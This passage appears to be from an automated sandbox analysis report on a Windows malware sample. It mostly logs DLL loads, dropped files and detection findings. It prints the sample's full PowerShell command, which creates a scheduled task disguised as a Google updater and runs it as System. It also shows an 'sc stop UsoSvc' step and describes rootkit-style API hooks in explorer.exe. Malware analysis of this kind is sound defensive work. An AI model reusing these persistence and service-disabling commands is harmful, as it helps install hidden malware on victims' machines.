Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.pdb source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.pdbr source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDB source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct3D66.tmp.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000002.2924184797.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830913741.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wmsetup.log.pdb source: svchost.exe, 00000020.00000002.2925161775.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1830984027.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000000.1831035809.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2925727518.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }			Jump to behavior

Source: svc.exe.1.dr	Static PE information: section name: .xdata
Source: updater.exe.4.dr	Static PE information: section name: .xdata

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00C036C9 push ebx; iretd	1_2_00C036DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B7AD2A5 pushad ; iretd	17_2_00007FFD9B7AD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B8C085B push E95B7C1Ch; ret	17_2_00007FFD9B8C0909
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B8C7B9A push eax; ret	17_2_00007FFD9B8C7B99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B8C7B8A push eax; ret	17_2_00007FFD9B8C7B99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B8C3A79 pushad ; ret	17_2_00007FFD9B8C3AC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B8C3A36 pushad ; ret	17_2_00007FFD9B8C3AC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B8C1233 push cs; iretd	17_2_00007FFD9B8C1292
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B8C088D push E95B7C1Ch; ret	17_2_00007FFD9B8C0909
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B993450 pushfd ; iretd	17_2_00007FFD9B993451
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B992852 push FFFFFFA8h; iretd	17_2_00007FFD9B992854
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B996D18 pushad ; retf	17_2_00007FFD9B996D19
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC6222B8 push rdx; retf	23_2_00000225DC6222B9
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC6284FD push rcx; retf 003Fh	23_2_00000225DC6284FE
Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC6594FD push rcx; retf 003Fh	23_2_00000225DC6594FE
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AC22B8 push rdx; retf	24_2_00000202C0AC22B9
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AC84FD push rcx; retf 003Fh	24_2_00000202C0AC84FE
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AF94FD push rcx; retf 003Fh	24_2_00000202C0AF94FE
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6612E22B8 push rdx; retf	25_2_000002A6612E22B9
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6612E84FD push rcx; retf 003Fh	25_2_000002A6612E84FE
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A6613194FD push rcx; retf 003Fh	25_2_000002A6613194FE
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAED922B8 push rdx; retf	26_2_000002BAAED922B9
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAED984FD push rcx; retf 003Fh	26_2_000002BAAED984FE
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDC94FD push rcx; retf 003Fh	26_2_000002BAAEDC94FE
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879A84FD push rcx; retf 003Fh	27_2_0000026A879A84FE
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879A22B8 push rdx; retf	27_2_0000026A879A22B9
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537884FD push rcx; retf 003Fh	28_2_00000179537884FE
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537822B8 push rdx; retf	28_2_00000179537822B9
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537B94FD push rcx; retf 003Fh	28_2_00000179537B94FE
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D5422B8 push rdx; retf	29_2_000002295D5422B9
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D5484FD push rcx; retf 003Fh	29_2_000002295D5484FE

Source: C:\Users\user\AppData\Local\Temp\svc.exe	File created: C:\Program Files\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svc.exe	File created: C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\svc.exe	Jump to dropped file

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\Temp\svc.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\NHYLSJSVLLXF.TMP

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
